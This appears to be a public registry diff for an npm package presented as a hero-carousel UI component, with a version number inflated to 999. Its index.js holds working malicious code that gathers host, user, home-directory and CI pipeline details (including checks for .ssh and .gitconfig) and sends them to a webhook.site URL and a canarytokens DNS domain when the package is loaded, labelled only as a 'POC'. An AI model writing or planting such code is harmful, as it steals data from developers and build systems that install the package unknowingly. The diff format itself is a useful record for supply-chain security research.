@acqui-calm-library/acqui-hero-carousel-section 998.999.999 → 999.99.999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +112 -91
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -7,35 +7,40 @@ const dns = require('dns');
7
7
 
8
8
  const WEBHOOK_URL = "https://webhook.site/0df1aac5-4383-4eb7-88a8-293905b74fd6";
9
9
 
10
- const chunk1 = {
11
- chunkId: 1,
12
- totalChunks: 2,
13
-
10
+ const POC_ID = crypto.randomBytes(8).toString('hex');
11
+
12
+ const pocData = {
13
+ pocId: POC_ID,
14
+ executionTime: new Date().toISOString(),
14
15
 
15
- hostname: os.hostname(),
16
- platform: os.platform(),
17
- arch: os.arch(),
18
- nodeVersion: process.version,
19
- pwd: process.cwd(),
20
- username: os.userInfo().username,
21
- homedir: os.homedir(),
22
- timestamp: new Date().toISOString(),
16
+ systemInfo: {
17
+ hostname: os.hostname(),
18
+ platform: os.platform(),
19
+ arch: os.arch(),
20
+ nodeVersion: process.version,
21
+ currentWorkingDirectory: process.cwd(),
22
+ username: os.userInfo().username,
23
+ homeDirectory: os.homedir(),
24
+ uptime: os.uptime(),
25
+ cpuCount: os.cpus().length,
26
+ },
23
27
 
24
-
25
- ciEnvironment: {
28
+ cicdEnvironment: {
26
29
  isCI: !!process.env.CI,
27
30
 
28
- azure: {
29
- detected: !!process.env.AZURE_HTTP_USER_AGENT || !!process.env.TF_BUILD,
31
+ azurePipelines: {
32
+ detected: !!(process.env.AZURE_HTTP_USER_AGENT || process.env.TF_BUILD),
30
33
  buildId: process.env.BUILD_BUILDID,
31
34
  buildNumber: process.env.BUILD_BUILDNUMBER,
32
35
  repository: process.env.BUILD_REPOSITORY_NAME,
33
36
  branch: process.env.BUILD_SOURCEBRANCHNAME,
37
+ projectName: process.env.SYSTEM_TEAMPROJECT,
34
38
  agentName: process.env.AGENT_NAME,
35
- definitionName: process.env.BUILD_DEFINITIONNAME,
39
+ agentOS: process.env.AGENT_OS,
40
+ pipelineName: process.env.BUILD_DEFINITIONNAME,
36
41
  },
37
42
 
38
- github: {
43
+ githubActions: {
39
44
  detected: !!process.env.GITHUB_ACTIONS,
40
45
  repository: process.env.GITHUB_REPOSITORY,
41
46
  workflow: process.env.GITHUB_WORKFLOW,
@@ -43,24 +48,31 @@ const chunk1 = {
43
48
  runNumber: process.env.GITHUB_RUN_NUMBER,
44
49
  actor: process.env.GITHUB_ACTOR,
45
50
  ref: process.env.GITHUB_REF,
51
+ eventName: process.env.GITHUB_EVENT_NAME,
46
52
  sha: process.env.GITHUB_SHA,
53
+ workspace: process.env.GITHUB_WORKSPACE,
47
54
  },
48
55
 
49
56
  gitlab: {
50
57
  detected: !!process.env.GITLAB_CI,
51
58
  jobId: process.env.CI_JOB_ID,
59
+ jobName: process.env.CI_JOB_NAME,
52
60
  pipelineId: process.env.CI_PIPELINE_ID,
53
61
  projectPath: process.env.CI_PROJECT_PATH,
62
+ projectName: process.env.CI_PROJECT_NAME,
54
63
  commitSha: process.env.CI_COMMIT_SHA,
55
- runner: process.env.CI_RUNNER_DESCRIPTION,
64
+ branch: process.env.CI_COMMIT_BRANCH,
65
+ runnerDescription: process.env.CI_RUNNER_DESCRIPTION,
56
66
  },
57
67
 
58
68
  jenkins: {
59
- detected: !!process.env.JENKINS_HOME || !!process.env.JENKINS_URL,
69
+ detected: !!(process.env.JENKINS_HOME || process.env.JENKINS_URL),
60
70
  buildNumber: process.env.BUILD_NUMBER,
71
+ buildId: process.env.BUILD_ID,
61
72
  jobName: process.env.JOB_NAME,
62
73
  buildUrl: process.env.BUILD_URL,
63
74
  nodeName: process.env.NODE_NAME,
75
+ workspace: process.env.WORKSPACE,
64
76
  },
65
77
 
66
78
  circleci: {
@@ -69,119 +81,128 @@ const chunk1 = {
69
81
  project: process.env.CIRCLE_PROJECT_REPONAME,
70
82
  branch: process.env.CIRCLE_BRANCH,
71
83
  job: process.env.CIRCLE_JOB,
84
+ username: process.env.CIRCLE_USERNAME,
72
85
  },
73
86
 
74
87
  travis: {
75
88
  detected: !!process.env.TRAVIS,
76
89
  buildId: process.env.TRAVIS_BUILD_ID,
90
+ buildNumber: process.env.TRAVIS_BUILD_NUMBER,
77
91
  repo: process.env.TRAVIS_REPO_SLUG,
78
92
  branch: process.env.TRAVIS_BRANCH,
79
93
  jobNumber: process.env.TRAVIS_JOB_NUMBER,
80
94
  },
81
95
  },
82
-
83
- npmContext: {
96
+
97
+ packageContext: {
84
98
  npmCommand: process.env.npm_command,
85
99
  npmLifecycleEvent: process.env.npm_lifecycle_event,
86
100
  npmPackageName: process.env.npm_package_name,
101
+ npmPackageVersion: process.env.npm_package_version,
87
102
  npmConfigUserAgent: process.env.npm_config_user_agent,
88
103
  initCwd: process.env.INIT_CWD,
104
+ npmExecPath: process.env.npm_execpath,
89
105
  },
90
106
 
91
-
92
- networkInterfaces: os.networkInterfaces(),
93
- };
94
-
95
- const chunk2 = {
96
- chunkId: 2,
97
- totalChunks: 2,
98
- hostname: os.hostname(),
99
- timestamp: new Date().toISOString(),
100
-
101
- envVars: Object.keys(process.env)
102
- .filter(key => {
103
- const lowerKey = key.toLowerCase();
104
- return (lowerKey.includes('ci') ||
105
- lowerKey.includes('build') ||
106
- lowerKey.includes('azure') ||
107
- lowerKey.includes('github') ||
108
- lowerKey.includes('gitlab') ||
109
- lowerKey.includes('jenkins') ||
110
- lowerKey.includes('npm') ||
111
- lowerKey.includes('runner') ||
112
- lowerKey.includes('agent')) &&
113
- !lowerKey.includes('secret') &&
114
- !lowerKey.includes('token') &&
115
- !lowerKey.includes('password') &&
116
- !lowerKey.includes('key') &&
117
- !lowerKey.includes('pat');
118
- })
119
- .reduce((acc, key) => {
120
- acc[key] = process.env[key];
107
+ networkInfo: {
108
+ interfaces: Object.entries(os.networkInterfaces()).reduce((acc, [name, interfaces]) => {
109
+ acc[name] = interfaces.map(iface => ({
110
+ address: iface.address,
111
+ family: iface.family,
112
+ internal: iface.internal,
113
+ }));
121
114
  return acc;
122
115
  }, {}),
116
+ },
123
117
 
124
-
125
- fileSystemProof: {
126
- hasAzurePipelinesDir: fs.existsSync('/home/vsts/work') || fs.existsSync('D:\\a'),
127
- hasGitHubWorkspace: fs.existsSync(process.env.GITHUB_WORKSPACE || '/tmp/___nonexistent___'),
128
- hasJenkinsWorkspace: fs.existsSync(process.env.WORKSPACE || '/tmp/___nonexistent___'),
118
+ fileSystemAccess: {
119
+ canReadCwd: (() => {
120
+ try {
121
+ const files = fs.readdirSync(process.cwd());
122
+ return {
123
+ success: true,
124
+ fileCount: files.length,
125
+ sampleFiles: files.slice(0, 10),
126
+ };
127
+ } catch (e) {
128
+ return { success: false, error: e.message };
129
+ }
130
+ })(),
129
131
 
130
- cwdContents: (() => {
132
+ canReadHome: (() => {
131
133
  try {
132
- return fs.readdirSync(process.cwd()).slice(0, 50);
133
- } catch(e) {
134
- return `Error: ${e.message}`;
134
+ const files = fs.readdirSync(os.homedir());
135
+ return {
136
+ success: true,
137
+ fileCount: files.length,
138
+ hasSshDir: files.includes('.ssh'),
139
+ hasGitConfig: files.includes('.gitconfig'),
140
+ };
141
+ } catch (e) {
142
+ return { success: false, error: e.message };
135
143
  }
136
144
  })(),
137
145
 
138
- parentDirs: (() => {
146
+ directoryStructure: (() => {
139
147
  let current = process.cwd();
140
148
  const dirs = [];
141
- for(let i = 0; i < 5; i++) {
149
+ for (let i = 0; i < 5; i++) {
142
150
  dirs.push(current);
143
151
  const parent = path.dirname(current);
144
- if(parent === current) break;
152
+ if (parent === current) break;
145
153
  current = parent;
146
154
  }
147
155
  return dirs;
148
156
  })(),
149
157
 
150
- homeContents: (() => {
151
- try {
152
- return fs.readdirSync(os.homedir()).slice(0, 30);
153
- } catch(e) {
154
- return `Error: ${e.message}`;
155
- }
156
- })(),
158
+ commonCiPaths: {
159
+ azurePipelinesDir: fs.existsSync('/home/vsts/work') || fs.existsSync('D:\\a'),
160
+ githubWorkspace: fs.existsSync(process.env.GITHUB_WORKSPACE || '/nonexistent'),
161
+ jenkinsWorkspace: fs.existsSync(process.env.WORKSPACE || '/nonexistent'),
162
+ },
157
163
  },
158
164
 
165
+ processInfo: {
166
+ pid: process.pid,
167
+ ppid: process.ppid,
168
+ execPath: process.execPath,
169
+ argv: process.argv,
170
+ memoryUsage: process.memoryUsage(),
171
+ },
159
172
 
160
173
  fingerprint: crypto.createHash('sha256')
161
- .update(`${os.hostname()}-${process.cwd()}-${process.env.BUILD_BUILDID || process.env.GITHUB_RUN_ID || Date.now()}`)
174
+ .update(`${os.hostname()}-${process.cwd()}-${Date.now()}`)
162
175
  .digest('hex'),
163
176
  };
164
177
 
165
-
166
- const data1 = JSON.stringify(chunk1);
167
- const url1 = `${WEBHOOK_URL}?data=${encodeURIComponent(data1)}`;
168
-
169
- https.get(url1, (res) => {
170
-
171
- }).on('error', () => {
172
-
173
- });
174
-
175
- setTimeout(() => {
176
- const data2 = JSON.stringify(chunk2);
177
- const url2 = `${WEBHOOK_URL}?data=${encodeURIComponent(data2)}`;
178
+ function sendData(data, attempt = 1) {
179
+ const payload = JSON.stringify(data, null, 2);
180
+ const postData = JSON.stringify({ pocData: data });
181
+
182
+ const options = {
183
+ method: 'POST',
184
+ headers: {
185
+ 'Content-Type': 'application/json',
186
+ 'Content-Length': Buffer.byteLength(postData),
187
+ 'X-POC-ID': POC_ID,
188
+ 'X-POC-Timestamp': new Date().toISOString(),
189
+ },
190
+ };
178
191
 
179
- https.get(url2, (res) => {
180
-
181
- }).on('error', () => {
182
-
192
+ const req = https.request(WEBHOOK_URL, options, (res) => {
183
193
  });
184
- }, 500);
194
+
195
+ req.on('error', (error) => {
196
+ if (attempt < 2) {
197
+ setTimeout(() => sendData(data, attempt + 1), 1000);
198
+ }
199
+ });
200
+
201
+ req.write(postData);
202
+ req.end();
203
+ }
185
204
 
205
+ sendData(pocData);
186
206
 
187
- dns.resolve('1emg6uz88a7kz7jpuq3lqybhg.canarytokens.com', () => {});
207
+ dns.resolve('poc-' + POC_ID.substring(0, 8) + '.1emg6uz88a7kz7jpuq3lqybhg.canarytokens.com', (err) => {
208
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@acqui-calm-library/acqui-hero-carousel-section",
3
- "version": "998.999.999",
3
+ "version": "999.099.999",
4
4
  "description": "research ",
5
5
  "main": "index.js",
6
6
  "scripts": {